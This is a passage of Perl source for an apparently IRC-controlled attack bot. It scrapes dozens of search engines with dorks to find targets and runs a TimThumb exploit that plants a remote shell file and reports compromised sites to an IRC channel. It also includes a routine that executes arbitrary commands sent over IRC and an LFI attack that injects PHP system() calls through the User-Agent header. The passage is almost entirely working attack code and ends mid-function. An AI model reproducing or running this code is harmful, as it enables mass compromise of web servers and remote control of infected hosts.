  1241. ######################################### ADDED
  1242.  
  1243. sub thumb() {
  1244. my $chan = $_[0];
  1245. my $bug = $_[1];
  1246. my $dork = $_[2];
  1247. my $engine = $_[3];
  1248. my $count = 0;
  1249. my @list = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
  1250. my $num = scalar(@list);
  1251. if ($num > 0) {
  1252. foreach my $site (@list) {
  1253. $count++;
  1254. if ($count == $num-1) { &msg("$chan","$thumblogo(4@9$engine15)10 Scan finish"); }
  1255. my $coba = "http://".$site.$bug."timthumb.php?src=".$thumbshell."";
  1256. my $cek = &get_content($coba);sleep(1);
  1257. my $aa = "cache/c54af1d13e884a4c63da8f3098a7a4da.php";
  1258. my $ab = "temp/c54af1d13e884a4c63da8f3098a7a4da.php";
  1259. my $ceck1 = "http://".$site.$bug.".$aa";
  1260. my $ceck2 = "http://".$site.$bug.".$ab";
  1261. my $loco1 = &get_content($ceck1);sleep(1);
  1262. my $loco2 = &get_content($ceck2);sleep(1);
  1263. if ($cek =~ /tripl3k was Here/i) {
  1264. my $vuln = "http://".$site.$bug."cache/c54af1d13e884a4c63da8f3098a7a4da.php";
  1265. &msg("$chan", "$thumblogo(4@8$engine15)(4@4VulN15)4 ".$vuln." 15(4@9 0WN3D 15)");
  1266. }
  1267. }
  1268. }
  1269. }
  1270.  
  1271.  
  1272.  
  1273. #########################################
  1274.  
  1275. sub search_engine() {
  1276. my (@total,@clean);
  1277. my $chan = $_[0];
  1278. my $bug = $_[1];
  1279. my $dork = $_[2];
  1280. my $engine = $_[3];
  1281. my $logo = $_[4];
  1282. if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  1283. if ($engine eq "ReDiff") { my @rediff = &rediff($dork); push(@total,@rediff); }
  1284. if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  1285. if ($engine eq "ALtaViSTa") { my @altavista = &altavista($dork); push(@total,@altavista); }
  1286. if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  1287. if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  1288. if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  1289. if ($engine eq "CluSty") { my @clusty = &clusty($dork); push(@total,@clusty); }
  1290. if ($engine eq "GutSer") { my @gutser = &gutser($dork); push(@total,@gutser); }
  1291. if ($engine eq "GooGle2") { my @google2 = &google2($dork); push(@total,@google2); }
  1292. if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }
  1293. if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  1294. if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
  1295. if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }
  1296. if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  1297. if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  1298. if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  1299. if ($engine eq "DuCk") { my @duck = &duck($dork); push(@total,@duck); }
  1300. if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }
  1301. if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
  1302. if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
  1303. if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }
  1304. if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }
  1305. if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }
  1306. if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
  1307. if ($engine eq "SiZuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
  1308. if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  1309. if ($engine eq "DeMos") { my @demos = &demos($dork); push(@total,@demos); }
  1310. if ($engine eq "RoSe") { my @rose = &rose($dork); push(@total,@rose); }
  1311. if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
  1312. if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
  1313. if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }
  1314. @clean = &clean(@total);
  1315. &msg("$chan","$logo(4@8$engine15)4 Total:0 (".scalar(@total).")4 Clean:0 (".scalar(@clean).")");
  1316. return @clean;
  1317. }
  1318.  
  1319. #########################################
  1320.  
  1321. sub isFound() {
  1322. my $status = 0;
  1323. my $link = $_[0];
  1324. my $reqexp = $_[1];
  1325. my $res = &get_content($link);
  1326. if ($res =~ /$reqexp/) { $status = 1 }
  1327. return $status;
  1328. }
  1329.  
  1330. sub get_content() {
  1331. my $url = $_[0];
  1332. my $ua = LWP::UserAgent->new(agent => $uagent);
  1333. $ua->timeout(7);
  1334. my $req = HTTP::Request->new(GET => $url);
  1335. my $res = $ua->request($req);
  1336. return $res->content;
  1337. }
  1338.  
  1339. ######################################### SEARCH ENGINE gibla
  1340.  
  1341. sub google() {
  1342. my @list;
  1343. my $key = $_[0];
  1344. for (my $i=0; $i<=400; $i+=10){
  1345. my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);
  1346. my $res = &search_engine_query($search);
  1347. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  1348. if ($1 !~ /google/){
  1349. my $link = $1;
  1350. my @grep = &links($link);
  1351. push(@list,@grep);
  1352. }
  1353. }
  1354. }
  1355. return @list;
  1356. }
  1357.  
  1358. sub rediff() {
  1359. my @list;
  1360. my $key = $_[0];
  1361. for (my $i=0; $i<=500; $i+=10) {
  1362. my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
  1363. $b = "$i";
  1364. my $res = &search_engine_query($search);
  1365. if ($res !~ /firstres=$b\'>/) {$i=500;}
  1366. while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
  1367. if ($1 !~ /rediff\.com/){
  1368. my $link = $1;
  1369. my @grep = &links($link);
  1370. push(@list,@grep);
  1371. }
  1372. }
  1373. }
  1374. return @list;
  1375. }
  1376.  
  1377. sub uol() {
  1378. my @list;
  1379. my $key = $_[0];
  1380. for (my $i=1; $i<=500; $i+=10) {
  1381. my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".&key($key)."&start=".$i);
  1382. my $res = &search_engine_query($search);
  1383. if ($res !~ m/<span class=\"next\">pr&#243;xima<\/span>/){$i=500;}
  1384. while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
  1385. if ($1 !~ /uol\.com/) {
  1386. my $link = $1;
  1387. my @grep = &links($link);
  1388. push(@list,@grep);
  1389. }
  1390. }
  1391. }
  1392. return @list;
  1393. }
  1394.  
  1395. sub bing() {
  1396. my @list;
  1397. my $key = $_[0];
  1398. for (my $i=1; $i<=500; $i+=10) {
  1399. my $search = ("http://www.bing.com/search?q=".&key($key)."&filt=all&first=".$i."&FORM=PERE");
  1400. my $res = &search_engine_query($search);
  1401. if ($res =~ m/Ref A:/g && $res =~ m/Ref B:/g && $res =~ m/Ref C:/g) {$i=500;}
  1402. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  1403. if ($1 !~ /bing\.com/) {
  1404. my $link = $1;
  1405. my @grep = &links($link);
  1406. push(@list,@grep);
  1407. }
  1408. }
  1409. }
  1410. return @list;
  1411. }
  1412.  
  1413. sub altavista() {
  1414. my @list;
  1415. my $key = $_[0];
  1416. for (my $i=1; $i<=500; $i+=10){
  1417. my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
  1418. my $res = &search_engine_query($search);
  1419. if ($res !~ /target=\"_self\">Succ/) {$i=500;}
  1420. while ($res =~ m/<span class=ngrn>(.+?)\//g) {
  1421. if ($1 !~ /altavista/){
  1422. my $link = $1;
  1423. $link =~ s/<//g;
  1424. $link =~ s/ //g;
  1425. my @grep = &links($link);
  1426. push(@list,@grep);
  1427. }
  1428. }
  1429. }
  1430. return @list;
  1431. }
  1432.  
  1433. sub ask() {
  1434. my @list;
  1435. my $key = $_[0];
  1436. for (my $i=1; $i<=50; $i+=1) {
  1437. my $search = ("http://it.ask.com/web?q=".&key($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
  1438. my $res = &search_engine_query($search);
  1439. if ($res !~ /Successiva/) {$i=50;}
  1440. while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
  1441. if ($1 !~ /ask\.com/){
  1442. my $link = $1;
  1443. my @grep = &links($link);
  1444. push(@list,@grep);
  1445. }
  1446. }
  1447. }
  1448. return @list;
  1449. }
  1450.  
  1451. sub yahoo(){
  1452. my @list;
  1453. my $key = $_[0];
  1454. my $b = 0;
  1455. for ($b=1; $b<=500; $b+=10) {
  1456. my $search = ("http://search.yahoo.com/search?p=".&key($key)."&b=".$b);
  1457. my $res = &search_engine_query($search);
  1458. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  1459. if ($1 !~ /yahoo\.com/){
  1460. my $link = $1;
  1461. my @grep = &links($link);
  1462. push(@list,@grep);
  1463. }
  1464. }
  1465. }
  1466. return @list;
  1467. }
  1468.  
  1469. sub clusty() {
  1470. my @list;
  1471. my $key = $_[0];
  1472. my $b = 0;
  1473. for ($b=10; $b<=500; $b+=10) {
  1474. my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
  1475. my $res = &search_engine_query($search);
  1476. if ($res !~ /next/) {$b=500;}
  1477. while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
  1478. if ($1 !~ /yippy\.com/){
  1479. my $link = $1;
  1480. my @grep = &links($link);
  1481. push(@list,@grep);
  1482. }
  1483. }
  1484. }
  1485. return @list;
  1486. }
  1487.  
  1488. sub gutser() {
  1489. my @list;
  1490. my $key = $_[0];
  1491. for ($b=1; $b<=50; $b+=1) {
  1492. my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".&key($key)."&page=".$b."&osmax=0");
  1493. my $res = &search_engine_query($search);
  1494. while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
  1495. if ($1 !~ /goodsearch|good\.is|w3\.org|quantserve/){
  1496. my $link = $1;
  1497. my @grep = &links($link);
  1498. push(@list,@grep);
  1499. }
  1500. }
  1501. }
  1502. return @list;
  1503. }
  1504.  
  1505. sub google2() {
  1506. my @list;
  1507. my $key = $_[0];
  1508. my $b = 0;
  1509. my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  1510. foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
  1511. for ($b=1; $b<=200; $b+=10) {
  1512. my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");
  1513. my $res = &search_engine_query($search);
  1514. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  1515. if ($1 !~ /google/){
  1516. my $link = $1;
  1517. my @grep = &links($link);
  1518. push(@list,@grep);
  1519. }
  1520. }
  1521. } return @list;
  1522. }
  1523. }
  1524.  
  1525. sub exalead() {
  1526. my @list;
  1527. my $key = $_[0];
  1528. for ($b=0; $b<=1000; $b+=100) {
  1529. my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=100&start_index=".$b);
  1530. my $res = &search_engine_query($search);
  1531. if ($res =~ m/<span id=\"topNextUrl\">/g) {$b=1000;}
  1532. while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
  1533. my $link = $1;
  1534. if ($link!~ /exalead/){
  1535. my @grep = &links($link);
  1536. push(@list,@grep);
  1537. }
  1538. }
  1539. }
  1540. return @list;
  1541. }
  1542.  
  1543. sub lycos() {
  1544. my @list;
  1545. my $key = $_[0];
  1546. for ($b=0; $b<=50; $b+=1) {
  1547. my $search = ("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
  1548. my $res = &search_engine_query($search);
  1549. while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
  1550. if ($1 !~ /lycos\.com/){
  1551. my $link = $1;
  1552. my @grep = &links($link);
  1553. push(@list,@grep);
  1554. }
  1555. }
  1556. }
  1557. return @list;
  1558. }
  1559.  
  1560. sub virgilio() {
  1561. my @list;
  1562. my $key = $_[0];
  1563. for ($b=10; $b<=500; $b+=10) {
  1564. my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=10&offset=".$b);
  1565. my $res = &search_engine_query($search);
  1566. if ($res =~ m/non ha prodotto risultati/i) {$b=500;}
  1567. if ($res =~ m/riconducibile a richieste effettuate/i) {$b=500;}
  1568. while ($res =~ m/<a href=\"http:\/\/(.+?)\" target=\"/g) {
  1569. if ($1 !~ /\.virgilio\.it/){
  1570. my $link = $1;
  1571. my @grep = &links($link);
  1572. push(@list,@grep);
  1573. }
  1574. }
  1575. }
  1576. return @list;
  1577. }
  1578.  
  1579. sub webde() {
  1580. my @list;
  1581. my $key = $_[0];
  1582. for ($b=1; $b<=50; $b+=1) {
  1583. my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".&key($key)."&search=Suche&webRb=countryDE");
  1584. my $res = &search_engine_query($search);
  1585. if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}
  1586. while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
  1587. my $link = $1;
  1588. if ($link!~ /suche|web/){
  1589. my @grep = &links($link);
  1590. push(@list,@grep);
  1591. }
  1592. }
  1593. }
  1594. return @list;
  1595. }
  1596.  
  1597. sub hotbot() {
  1598. my @list;
  1599. my $key = $_[0];
  1600. for ($b=0; $b<=50; $b+=1) {
  1601. my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
  1602. my $res = &search_engine_query($search);
  1603. if ($res =~ m/had no web result/i) {$b=50;}
  1604. while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
  1605. if ($1 !~ /hotbot\.com/){
  1606. my $link = $1;
  1607. my @grep = &links($link);
  1608. push(@list,@grep);
  1609. }
  1610. }
  1611. }
  1612. return @list;
  1613. }
  1614.  
  1615. sub aol() {
  1616. my @list;
  1617. my $key = $_[0];
  1618. for ($b=2; $b<=50; $b+=1) {
  1619. my $search = ("http://aim.search.aol.com/aol/search?q=".&key($key)."&page=".$b);
  1620. my $res = &search_engine_query($search);
  1621. while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
  1622. if ($1 !~ /aol\.com/){
  1623. my $link = $1;
  1624. my @grep = &links($link);
  1625. push(@list,@grep);
  1626. }
  1627. }
  1628. }
  1629. return @list;
  1630. }
  1631.  
  1632. sub sapo(){
  1633. my @list;
  1634. my $key = $_[0];
  1635. for ($b=1; $b<=50; $b+=1) {
  1636. my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".&key($key)."&st=local");
  1637. my $res = &search_engine_query($search);
  1638. if ($res !~ m/Next/i) {$b=50;}
  1639. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  1640. if ($1 !~ /\.sapo\.pt/){
  1641. my $link = $1;
  1642. my @grep = &links($link);
  1643. push(@list,@grep);
  1644. }
  1645. }
  1646. }
  1647. return @list;
  1648. }
  1649.  
  1650. sub duck() {
  1651. my @list;
  1652. my $key = $_[0];
  1653. my $b = 0;
  1654. for ($b=1; $b<=50; $b+=1) {
  1655. my $search = ("http://duckduckgo.com/html/?q=".&key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
  1656. my $res = &search_engine_query($search);
  1657. if ($res =~ m/No more results/i) {$b=50;}
  1658. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1659. if ($1 !~ /duckduckgo/){
  1660. my $link = $1;
  1661. my @grep = &links($link);
  1662. push(@list,@grep);
  1663. }
  1664. }
  1665. }
  1666. return @list;
  1667. }
  1668.  
  1669. sub lygo() {
  1670. my @list;
  1671. my $key = $_[0];
  1672. my $b = 0;
  1673. for ($b=0; $b<=50; $b+=1) {
  1674. my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
  1675. my $res = &search_engine_query($search);
  1676. if ($res =~ m/had no web result/i) {$b=50;}
  1677. while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
  1678. if ($1 !~ /hotbot\.com/){
  1679. my $link = $1;
  1680. my @grep = &links($link);
  1681. push(@list,@grep);
  1682. }
  1683. }
  1684. }
  1685. return @list;
  1686. }
  1687.  
  1688. sub yause() {
  1689. my @list;
  1690. my $key = $_[0];
  1691. my $b = 0;
  1692. for ($b=1; $b<=50; $b+=1) {
  1693. my $search = ("http://www.yauba.com/?query=".&key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
  1694. my $res = &search_engine_query($search);
  1695. if ($res !~ m/Next/i) {$b=50;}
  1696. while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
  1697. if ($1 !~ /yauba\.com/){
  1698. my $link = $1;
  1699. my @grep = &links($link);
  1700. push(@list,@grep);
  1701. }
  1702. }
  1703. }
  1704. return @list;
  1705. }
  1706.  
  1707. sub baidu() {
  1708. my @list;
  1709. my $key = $_[0];
  1710. my $b = 0;
  1711. for ($b=0; $b<=500; $b+=10) {
  1712. my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);
  1713. my $res = &search_engine_query($search);
  1714. while ($res =~ m/\" href=\"http:\/\/(.*?)\" target=/g) {
  1715. if ($1 !~ /baidu\.com/){
  1716. my $link = $1;
  1717. my @grep = &links($link);
  1718. push(@list,@grep);
  1719. }
  1720. }
  1721. }
  1722. return @list;
  1723. }
  1724.  
  1725. sub kipot() {
  1726. my @list;
  1727. my $key = $_[0];
  1728. my $b = 0;
  1729. for ($b=1; $b<=50; $b+=1) {
  1730. my $search = ("http://www.qkport.com/".$b."/web/".&key($key));
  1731. my $res = &search_engine_query($search);
  1732. while ($res =~ m/href=\"http:\/\/(.*?)\" target=\"_top\"/g) {
  1733. if ($1 !~ /qkport\.com/){
  1734. my $link = $1;
  1735. my @grep = &links($link);
  1736. push(@list,@grep);
  1737. }
  1738. }
  1739. }
  1740. return @list;
  1741. }
  1742.  
  1743. sub gibla() { #mati#
  1744. my @list;
  1745. my $key = $_[0];
  1746. my $hal = "/search?q=".&key($key);
  1747. my $search = ("http://www.gigablast.com".$hal);
  1748. my $res = &search_engine_query($search);
  1749. while ($res =~ m/Next 10 Results/) {
  1750. $search = ("http://www.gigablast.com".$hal);
  1751. while ($res =~ m/<span class=\"url\">(.+?)><\/span>/g) {
  1752. my $link = $1;
  1753. my @grep = &links($link);
  1754. push(@list,@grep);
  1755. }
  1756. if ($res =~ m/<center><a href=\"(.*?)\">/) { $hal = $1; }
  1757. $res = &search_engine_query($search);
  1758. }return @list;
  1759. }
  1760.  
  1761. sub black() {
  1762. my @list;
  1763. my $key = $_[0];
  1764. my $b = 0;
  1765. for ($b=0; $b<=50; $b+=1) {
  1766. my $search = ("http://blekko.com/ws/".&key($key)."?ft=&p=".$b);
  1767. my $cek = $b+1;
  1768. my $res = &search_engine_query($search);
  1769. if ($res !~ m/<strong>$b<\/strong>/i) {$b=50;}
  1770. while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
  1771. if ($1 !~ /blekko/){
  1772. my $link = $1;
  1773. my @grep = &links($link);
  1774. push(@list,@grep);
  1775. }
  1776. }
  1777. }
  1778. return @list;
  1779. }
  1780.  
  1781. sub onet() {
  1782. my @list;
  1783. my $key = $_[0];
  1784. my $b = 0;
  1785. for ($b=1; $b<=50; $b+=1) {
  1786. my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
  1787. my $res = &search_engine_query($search);
  1788. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1789. if ($1 !~ /webcache|query/){
  1790. my $link = $1;
  1791. my @grep = &links($link);
  1792. push(@list,@grep);
  1793. }
  1794. }
  1795. }
  1796. return @list;
  1797. }
  1798.  
  1799. sub sizuka() {
  1800. my @list;
  1801. my $key = $_[0];
  1802. my $b = 0;
  1803. for ($b=10; $b<=100; $b+=10) {
  1804. my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);
  1805. my $res = &search_engine_query($search);
  1806. while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
  1807. if ($1 !~ /szukacz/){
  1808. my $link = $1;
  1809. my @grep = &links($link);
  1810. push(@list,@grep);
  1811. }
  1812. }
  1813. }
  1814. return @list;
  1815. }
  1816.  
  1817. sub walla() {
  1818. my @list;
  1819. my $key = $_[0];
  1820. my $b = 0;
  1821. for ($b=0; $b<=50; $b+=1) {
  1822. my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".&key($key)."&p=".$b);
  1823. my $res = &search_engine_query($search);
  1824. while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
  1825. if ($1 !~ /walla\.co\.il/){
  1826. my $link = $1;
  1827. my @grep = &links($link);
  1828. push(@list,@grep);
  1829. }
  1830. }
  1831. }
  1832. return @list;
  1833. }
  1834.  
  1835. sub demos() {
  1836. my @list;
  1837. my $key = $_[0];
  1838. my $b = 0;
  1839. for ($b=0; $b<=500; $b+=10) {
  1840. my $search = ("http://search.dmoz.org/search/search?q=".&key($key)."&start=".$b."&type=next&all=yes");
  1841. my $res = &search_engine_query($search);
  1842. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1843. if ($1 !~ /search|dmoz/){
  1844. my $link = $1;
  1845. my @grep = &links($link);
  1846. push(@list,@grep);
  1847. }
  1848. }
  1849. }
  1850. return @list;
  1851. }
  1852.  
  1853. sub rose() {
  1854. my @list;
  1855. my $key = $_[0];
  1856. my $b = 0;
  1857. my @langs = ("de","nl","fi","ps","da","en","es","fr","it","no","sv","cs","pl","ru");
  1858. foreach my $language (@langs) { $lang = $langs[rand(scalar(@langs))];
  1859. for ($b=0; $b<=30; $b+=10) {
  1860. my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".&key($key));
  1861. my $res = &search_engine_query($search);
  1862. while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
  1863. if ($1 !~ /euroseek/){
  1864. my $link = $1;
  1865. my @grep = &links($link);
  1866. push(@list,@grep);
  1867. }
  1868. }
  1869. }
  1870. }return @list;
  1871. }
  1872.  
  1873. sub seznam() {
  1874. my @list;
  1875. my $key = $_[0];
  1876. for ($b=1; $b<=500; $b+=10) {
  1877. my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
  1878. my $res = &search_engine_query($search);
  1879. while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
  1880. if ($1 !~ /seznam/){
  1881. my $link = $1;
  1882. my @grep = &links($link);
  1883. push(@list,@grep);
  1884. }
  1885. }
  1886. }
  1887. return @list;
  1888. }
  1889.  
  1890. sub tiscali() {
  1891. my @list;
  1892. my $key = $_[0];
  1893. for ($b=0; $b<=500; $b+=10) {
  1894. my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".&key($key));
  1895. my $res = &search_engine_query($search);
  1896. while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
  1897. if ($1 !~ /tiscali/){
  1898. my $link = $1;
  1899. my @grep = &links($link);
  1900. push(@list,@grep);
  1901. }
  1902. }
  1903. }
  1904. return @list;
  1905. }
  1906.  
  1907. sub naver() {
  1908. my @list;
  1909. my $key = $_[0];
  1910. for ($b=1; $b<=500; $b+=10) {
  1911. my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".&key($key)."&docid=0&#9001;=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");
  1912. my $res = &search_engine_query($search);
  1913. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  1914. if ($1 !~ /naver/){
  1915. my $link = $1;
  1916. my @grep = &links($link);
  1917. push(@list,@grep);
  1918. }
  1919. }
  1920. }
  1921. return @list;
  1922. }
  1923.  
  1924.  
  1925. #########################################
  1926.  
  1927. sub clean() {
  1928. my @cln = ();
  1929. my %visit = ();
  1930. foreach my $element (@_) {
  1931. $element =~ s/\/+/\//g;
  1932. next if $visit{$element}++;
  1933. push @cln, $element;
  1934. }
  1935. return @cln;
  1936. }
  1937.  
  1938. sub key() {
  1939. my $dork = $_[0];
  1940. $dork =~ s/ /\+/g;
  1941. $dork =~ s/:/\%3A/g;
  1942. $dork =~ s/\//\%2F/g;
  1943. $dork =~ s/\?/\%3F/g;
  1944. $dork =~ s/&/\%26/g;
  1945. $dork =~ s/\"/\%22/g;
  1946. $dork =~ s/,/\%2C/g;
  1947. $dork =~ s/\\/\%5C/g;
  1948. $dork =~ s/@/\%40/g;
  1949. $dork =~ s/\[/\%5B/g;
  1950. $dork =~ s/\]/\%5D/g;
  1951. $dork =~ s/\?/\%3F/g;
  1952. $dork =~ s/\=/\%3D/g;
  1953. $dork =~ s/\|/\%7C/g;
  1954. return $dork;
  1955. }
  1956.  
  1957. sub links() {
  1958. my @list;
  1959. my $link = $_[0];
  1960. my $host = $_[0];
  1961. my $hdir = $_[0];
  1962. $hdir =~ s/(.*)\/[^\/]*$/$1/;
  1963. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1964. $host .= "/";
  1965. $link .= "/";
  1966. $hdir .= "/";
  1967. $host =~ s/\/\//\//g;
  1968. $hdir =~ s/\/\//\//g;
  1969. $link =~ s/\/\//\//g;
  1970. push(@list,$link,$host,$hdir);
  1971. return @list;
  1972. }
  1973.  
  1974. sub search_engine_query($) {
  1975. my $url = $_[0];
  1976. $url =~ s/http:\/\///;
  1977. my $host = $url;
  1978. my $query = $url;
  1979. my $page = "";
  1980. $host =~ s/href=\"?http:\/\///;
  1981. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1982. $query =~ s/$host//;
  1983. if ($query eq "") { $query = "/"; }
  1984. eval {
  1985. my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  1986. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
  1987. my @pages = <$sock>;
  1988. $page = "@pages";
  1989. close($sock);
  1990. };
  1991. return $page;
  1992. }
  1993.  
  1994. #########################################
  1995.  
  1996. sub shell() {
  1997. my $path = $_[0];
  1998. my $cmd = $_[1];
  1999. if ($cmd =~ /cd (.*)/) {
  2000. chdir("$1") || &msg("$path","4,1No such file or directory");
  2001. return;
  2002. }
  2003. elsif ($pid = fork) { waitpid($pid, 0); }
  2004. else { if (fork) { exit; } else {
  2005. my @output = `$cmd 2>&1 3>&1`;
  2006. my $c = 0;
  2007. foreach my $output (@output) {
  2008. $c++;
  2009. chop $output;
  2010. &msg("$path","$output");
  2011. if ($c == 5) { $c = 0; sleep 2; }
  2012. }
  2013. exit;
  2014. }}
  2015. }
  2016.  
  2017. sub isAdmin() {
  2018. my $status = 0;
  2019. my $nick = $_[0];
  2020. if ($nick eq $admin) { $status = 1; }
  2021. return $status;
  2022. }
  2023.  
  2024. sub msg() {
  2025. return unless $#_ == 1;
  2026. sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  2027. }
  2028.  
  2029. sub nick() {
  2030. return unless $#_ == 0;
  2031. sendraw("NICK $_[0]");
  2032. }
  2033.  
  2034. sub notice() {
  2035. return unless $#_ == 1;
  2036. sendraw("NOTICE $_[0] :$_[1]");
  2037. }
  2038.  
  2039. sub cmdlfi() {
  2040. my $browser = LWP::UserAgent->new;
  2041. my $url = $_[0];
  2042. my $cmd = $_[1];
  2043. my $chan = $_[2];
  2044. my $hie = "j13mbut<?system(\"$cmd 2> /dev/stdout\"); ?>j13mbut";
  2045. $browser->agent("$hie");
  2046. $browser->timeout(7);
